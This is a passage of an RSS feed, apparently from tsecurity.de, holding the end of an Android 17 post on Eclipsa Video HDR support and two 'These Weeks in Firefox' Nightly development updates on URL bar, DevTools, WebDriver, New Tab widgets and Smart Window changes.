<p>Starting with Android 17, support for Eclipsa Video is built directly into the platform. This means a more comfortable, true-to-life HDR experience is coming natively to the phones, tablets, and TVs you rely on every day. The video you capture carries its creative intent with it, and the video you watch is shown exactly the way it was meant to be seen.</p>

<h3><strong><span>Guidelines for developers &amp; creators</span></strong></h3>

<p>We’re inviting the developer and creator ecosystem to help build a more reliable HDR environment:</p>

<ul>
    <li><strong>Get started with implementation:</strong> Learn how to configure playback and capture in your apps with our <a href="https://developer.android.com/media/platform/integrate-eclipsa-video">official guide</a>.</li>
    <li><strong>ExoPlayer &amp; Media3 integration:</strong> Standard playback handling built directly into <a href="https://developer.android.com/media/media3/exoplayer">Jetpack Media3,</a> allowing ExoPlayer to support Eclipsa Video metadata automatically with no additional player configuration.</li>
    <li><strong>Explore open source tools:</strong> View and inspect <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50</a> metadata and dynamic gain curves in real time using <a href="https://webmproject.github.io/hdr-explorer/">HDR Explorer</a>.</li>
</ul>

<h3><strong><span>What’s next</span></strong></h3>

<p>Eclipsa Video is rolling out now, and you’ll see more apps and devices supporting it over time. Because it’s an open standard, any app developer or hardware manufacturer can integrate it to elevate the viewing experience.</p>

<p>Try out the new tools in Android 17, explore the open-source metadata, and let us know what you think on our developer channels. We can’t wait to see what you create.</p>

<h3><strong><span>Notes &amp; Availability</span></strong></h3>
<p><strong>1. Device Compatibility:</strong> Eclipsa Video playback and capture are supported natively on devices running Android 17 (API level 37) and above with HDR displays passing Eclipsa Compliance tests.</p>
<p><strong>2. Developer Resources:</strong> The <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 Specification</a> is openly accessible for technical evaluation.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]></title>
<description><![CDATA[Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when ...]]></description>
<link>https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:32 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>James <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032547">enabled adaptive autofill in Nightly</a> for testing, which we believe should provide better results in the URL bar when doing autocomplete!</li>
<li>Jack <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">updated the illustrations shown on some of our error pages</a> to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!</li>
</ul>
<p><img alt="Internet connection error page with an adorable Kit illustration" class="aligncenter wp-image-2080 size-full" height="652" src="https://blog.nightly.mozilla.org/files/2026/06/image2-1.png" width="1584"></p>
<ul>
<li>Controls for the Memories feature <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032998">can now be set during Smart Window onboarding</a></li>
</ul>
<p><img alt='Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"' class="aligncenter wp-image-2078 size-full" height="546" src="https://blog.nightly.mozilla.org/files/2026/06/image4-1-e1780509799577.png" width="500"></p>
<p> </p>
<ul>
<li>We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016509">completing the deprecation</a>
<ul>
<li><b>NOTE:</b> The blog post published at<a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/"> WebExtensions API changes in Firefox 149-152</a> provides to extensions developers more details about this deprecation and links to the related MDN docs.</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=2031599%2C2033820%2C2034178%2C1930213%2C2035355%2C1611643%2C2020302%2C2026007%2C2031015%2C2035252%2C2036528%2C411384%2C2033780%2C2036199%2C1812100%2C1898257%2C2030070%2C2030072">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>Pranjali Srivastava</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> 🌟:23rd: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1812100">Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page</a></li>
<li>🌟Akeem Omosanya: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035252">Remove commented-out code in SearchService.sys.mjs</a></li>
<li>Amin Amir:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
</ul>
</li>
<li>🌟Sahaj: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031015">Suggest the default target language for translation after changing the detected source language</a></li>
<li>🌟JIANG Zhirui: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036199">Breakpad build failed on Windows using VS2026 due to removal of stdext</a></li>
<li> John Iweh: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030072">Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices</a></li>
<li>Jak: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030070">Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting</a></li>
<li>🌟Andy [:rgbcmy]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1611643">Autoplayed next video should also be PIP</a></li>
<li> konyhéa: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930213">“Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.</a></li>
<li> Pranjali Srivastava:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1898257">Remove icon property from sidebar extensions</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026007">Show language-agnostic SelectTranslations context menu item when the source and target languages are the same</a></li>
</ul>
</li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1532724"> Bug 1532724</a>, fix shipping in Firefox 152) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1595158"> Bug 1595158</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed access to web-accessible resources declared with &lt;all_urls&gt; from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033905"> Bug 2033905</a></li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029092"> Bug 2029092</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li>Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
<ul>
<li>added support for remote debugging (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014064">#2014064</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016121">#2016121</a>)</li>
<li>made sure that calls to History.replaceState are reflected in the UI (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037359">#2037359</a>)</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030260">#2030260</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed the image preview tooltip for relative URLs images in constructed stylesheet (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035503">#2035503</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026228">#2026228</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Amin Amir cleaned up an <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">incorrect variable assignment</a> in our browsingContext module.</li>
<li>Logan Rosen <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036603">updated stale references and broken links</a> in our documentation about Marionette.</li>
<li>Sameem improved the Marionette and WebDriver BiDi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020302">screenshot commands to enforce maximum allowed dimensions</a>.</li>
<li>Leo McArdle fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030964">the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”</a>.</li>
<li>Henrik Skupin fixed an issue in Marionette where <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033769">WebDriver:Navigate and WebDriver:Refresh did not handle errors</a> when the underlying navigation failed.</li>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1839953">improved geckodriver to detect an early Firefox exit during startup on Android</a>, avoiding up to 60 seconds of unnecessary connection attempts.</li>
<li>Henrik Skupin updated the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028933">geckodriver CI build job to produce a universal macOS binary</a> supporting both x64 and aarch64.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Sylvestre <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023411">ported some linters</a> (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words &amp; more) to Rust to help improve the runtime of the code review bot.</li>
<li>Dale has been working on migration to moz-src for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034040">customkeys</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035086">dom/quota</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035295">odom/geolocation</a>
<ul>
<li><a href="https://arewemozsrcyet.com/">https://arewemozsrcyet.com/</a></li>
</ul>
</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
<ul>
<li>We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.</li>
</ul>
</li>
<li>Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.</li>
<li>Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!</li>
</ul>
<p><img alt="World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX." class="aligncenter wp-image-2079 size-full" height="162" src="https://blog.nightly.mozilla.org/files/2026/06/image3-1.png" width="346"></p>
<h4>Search and Urlbar</h4>
<ul>
<li>Nova (URL Bar Design Refresh)
<ul>
<li>Drew and Daisuke continued their work on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015612">Nova styling for the Address bar</a> (input and view).</li>
</ul>
</li>
<li>Search and Suggest
<ul>
<li>Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035322">update the localization string for scheduled games</a> and another to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034350">show both teams’ icons in suggestions</a>. Drew also landed and uplifted a fix for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035353">rich search suggestion icons being forced into a square aspect ratio</a>.</li>
<li>Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.</li>
</ul>
</li>
<li>Settings Redesign (SRD)
<ul>
<li>Stephanie landed a test to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021512">ensure search suggestion settings are hidden when quicksuggest is disabled</a>, as well as a patch to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031341">resolve TypeScript issues</a> in search.mjs, and is adding test coverage to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007397">confirm removed search engines are not displayed in the default engines dropdown</a>.</li>
</ul>
</li>
<li>General URL Bar and Component Updates
<ul>
<li>Daisuke landed implementation of the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1893083">context menu on URL bar results</a>, and a fix to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020177">show the loading URL in the URL bar when starting up with a homepage</a>.
<ul>
<li>Marco is working on several tasks, including a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1756564">PDF download / focus stealing issue</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1924124">allowing arrays to be bound in Sqlite.sys.mjs</a>. Marco also worked on fixes related to Places, such as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743">avoiding replacing the favicons database if it is not corrupt</a>.</li>
</ul>
</li>
<li>Standard8 finalized the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028423">URL bar test manifest split</a>. Standard8 also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016401">upgraded us to TypeScript 6</a>.</li>
<li>Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032973">Bug 2032973</a>), which was also uplifted. Moritz also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034507">simplified search mode switcher item activation in tests</a>, and made it so that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036030">the unified search button popup closes when installing an open search engine</a>.</li>
</ul>
</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li>natural language starting with tab close/undo <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035343">2035343</a> with expandable action log <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031508">2031508</a></li>
</ul>
<p><img alt="Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken" class="aligncenter wp-image-2077 size-full" height="256" src="https://blog.nightly.mozilla.org/files/2026/06/image1-1.png" width="220"></p>
<ul>
<li>assistant rendering feedback up/down <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032994">2032994</a> and markdown table <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027029">2027029</a></li>
<li>nova styling blur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027877">2027877</a> and suggestions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026823">2026823</a></li>
<li>accessibility screen reader <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028676">2028676</a> and keyboard focus <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037565">2037565</a></li>
<li>optimize conversation starters extra requests <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030005">2030005</a> and caching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033430">2033430</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Nova token updates occasionally, focused on SRD</li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035942">2035942</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Settings redesign is being tested and will hopefully go out in Firefox 152!</li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]></title>
<description><![CDATA[Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on let...]]></description>
<link>https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:31 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Maxx Crawford <a href="https://bugzil.la/2041708">added a pref to hide the New Tab logo </a>so users can opt out of branding without altering page layout or resorting to CSS overrides.</li>
<li>Harshit <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041819">enabled video overlay detection</a> in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
<ul>
<li><a href="https://www.instagram.com/p/DXH8Rd6EcWo/">You can try it out on this Instagram reel</a> in Nightly</li>
</ul>
</li>
</ul>
<p><img alt="Firefox context menu video controls like Pause, Unmute, Speed and Loop." class="aligncenter size-full wp-image-2081" height="431" src="https://blog.nightly.mozilla.org/files/2026/06/image2-2.png" width="480"></p>
<ul>
<li>A note to WebExtension authors – as part of a <a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/">planned deprecation announced last month</a>, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015559"> Bug 2015559</a></li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> added support and debugging for modern attr()(which is <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038939">enabled on Nightly</a>) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014751">#2014751</a>)</li>
</ul>
<p><img alt="Tooltip in Firefox DevTools for mismatched syntax with attr()" class="aligncenter size-full wp-image-2082" height="164" src="https://blog.nightly.mozilla.org/files/2026/06/image1-2.png" width="872"></p>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1717176%2C2031328%2C2038948%2C2011485%2C1455294%2C2035084%2C2039455%2C2036767%2C2039878%2C2013176%2C2022414%2C2036237%2C2036578%2C2041612%2C1262773&amp;list_id=17986996">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Sam Johnson</li>
<li>Sebastian Zartner [:sebo]</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Immaculate Atim: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022414">Switch to using an array instead of an object string for browser.backup.enabled_on.profiles</a></li>
<li>liz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011485">Screenshots overlay visible on both splitview browsers</a></li>
<li>🌟 Rahman Mahmutović [:r_m]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">Can’t change content in box model in inspector for box-sizing:border-box elements</a></li>
<li>Takeru Mitsumori: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038948">Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html</a></li>
<li>🌟 Freya Arbjerg [:freyacodes]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">Blackboxed columns are ignored</a></li>
<li> tom.passarelli: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031328">tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1881767"> Bug 1881767</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1745823"> Bug 1745823</a></li>
<li>Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904054"> Bug 1904054</a>
<ul>
<li>Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed handling of &lt;all_urls&gt; as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758306"> Bug 1758306</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789324">Rahman Mahmutović [:r_m]</a> made it possible to edit width/height in the box model section of the Layout panel (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">#1717176</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> improved toggling tools driving in-page highlighters (e.g. the Measuring) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1262773">#1262773</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> added a setting to control visibility of HTML comments in the markup view (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1455294">#1455294</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789044">Freya Arbjerg [:freyacodes]</a> fixed an issue in script blackboxing (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">#2036767</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> replaced custom preference to log RDP messages with MOZ_LOG (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1622857">#1622857</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> fixed retrieval of garbage collected script text content (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758454">#1758454</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
<li>Alexandra Borovova updated the events for new top-level browsing contexts: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930594">we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used</a>. This is required to align with the expected per-spec behavior.</li>
<li>Henrik Skupin landed a patch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1430064">allowing geckodriver to gracefully shut down Firefox</a> when geckodriver itself is terminated.</li>
<li>Hiroyuki Ikezoe <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040252">disabled Firefox’s “scroll axis lock” feature</a> so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Added a rule to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1790711">prevent new uses of Preferences.sys.mjs</a>.</li>
<li>The browser environment globals within ESLint have <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793814">now been updated</a>. These include Sanitizer, VideoFrame and a few other new ones.</li>
<li>Temporal, and some other definitions have been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999036">added to TypeScript</a>.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Much has happened in the last 2 weeks! <a href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=RESOLVED%2CVERIFIED%2CCLOSED&amp;resolution=FIXED&amp;chfieldfrom=2026-05-12T14%3A40%3A16.019Z&amp;chfieldto=Now&amp;bug_id=2015530%2C2024720%2C2028377%2C2028534%2C2033592%2C2035176%2C2036902%2C2037143%2C2037301%2C2037541%2C2037646%2C2037947%2C2038048%2C2038392%2C2038790%2C2038823%2C2038881%2C2038981%2C2038984%2C2039103%2C2039107%2C2039333%2C2039346%2C2039358%2C2039477%2C2039587%2C2039752%2C2039765%2C2039770%2C2039775%2C2039956%2C2039963%2C2040027%2C2040033%2C2040254%2C2040269%2C2040370%2C2040376%2C2040480%2C2040481%2C2040503%2C2040552%2C2040645%2C2040674%2C2040677%2C2041033%2C2041163%2C2041196%2C2041204%2C2041205%2C2041207%2C2041244%2C2041532%2C2041651%2C2041682%2C2041708%2C2041711%2C2041730%2C2041757%2C2041765%2C2041814%2C2042054&amp;product=Firefox&amp;component=New+Tab+Page">Here’s a full bug list</a>, and here are some highlights.</li>
<li>Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (<a href="https://bugzil.la/2033592">2033592</a>) — prevents accidental list creation and improves the Lists UI reliability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2035176"> fixed Weather widget small card layout issues with opt-in location options and an error message displayed</a>, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2037301"> added key dates state to the Sports widget</a>, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.</li>
<li>Scott Downe<a href="https://bugzil.la/2037541"> added a manage widgets option to the New Tab nova widgets context menu</a>, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.</li>
<li>Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see<a href="https://bugzil.la/2037947"> Newtab widget base component</a>.</li>
<li>Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see<a href="https://bugzil.la/2038048"> Convert widget expansion handling to shared widget expansion</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2038881"> updated the Sports widget to populate the “follow teams” state from the /teams endpoint</a>, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.</li>
<li>Scott Downe<a href="https://bugzil.la/2038981"> moved widget menu items</a> within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.</li>
<li>Dre<a href="https://bugzil.la/2039346"> fixed a World Clock city search bug </a>for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.</li>
<li>Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see<a href="https://bugzil.la/2040033"> Newtab small weather widget size change doesn’t always work</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2040269"> added a group stage section to match highlights</a> in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.</li>
<li>Dre<a href="https://bugzil.la/2040376"> fixed the small world clock widget not expanding to large while editing clocks</a> so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040480"> added WCW OMC message strings</a> so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2040552"> added a “View all” button and a list view for the results tab at medium widget size</a> so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040674"> added WCW “Watch Live” stream strings to the Sports widget strings bundle</a> so the widget can surface a localized “Watch Live” CTA for applicable events.</li>
<li>Dre<a href="https://bugzil.la/2040677"> restored VoiceOver reachability for Edit/Remove in World Clock on macOS</a> so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.</li>
<li>Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (<a href="https://bugzil.la/2041033">2041033</a>).</li>
<li>Mike Conley added New Tab jest tests to the node tests Tier 1 CI job<a href="https://bugzil.la/2041757"> Run newtab jest tests as part of node tests Tier 1 job</a> to catch regressions earlier in CI</li>
<li>Irene Ni shipped multiple visual fixes for the Sports widget<a href="https://bugzil.la/2041765"> Sports widget – various visual fixes</a> (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.</li>
</ul>
<h4>Picture-in-Picture</h4>
<ul>
<li>kpatenio <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041113">adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably</a>, especially when selecting videos from the YouTube search page.</li>
<li>Thanks to Sylvestre for patching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037420">some</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042141">bugs</a> to prevent some spurious console errors!</li>
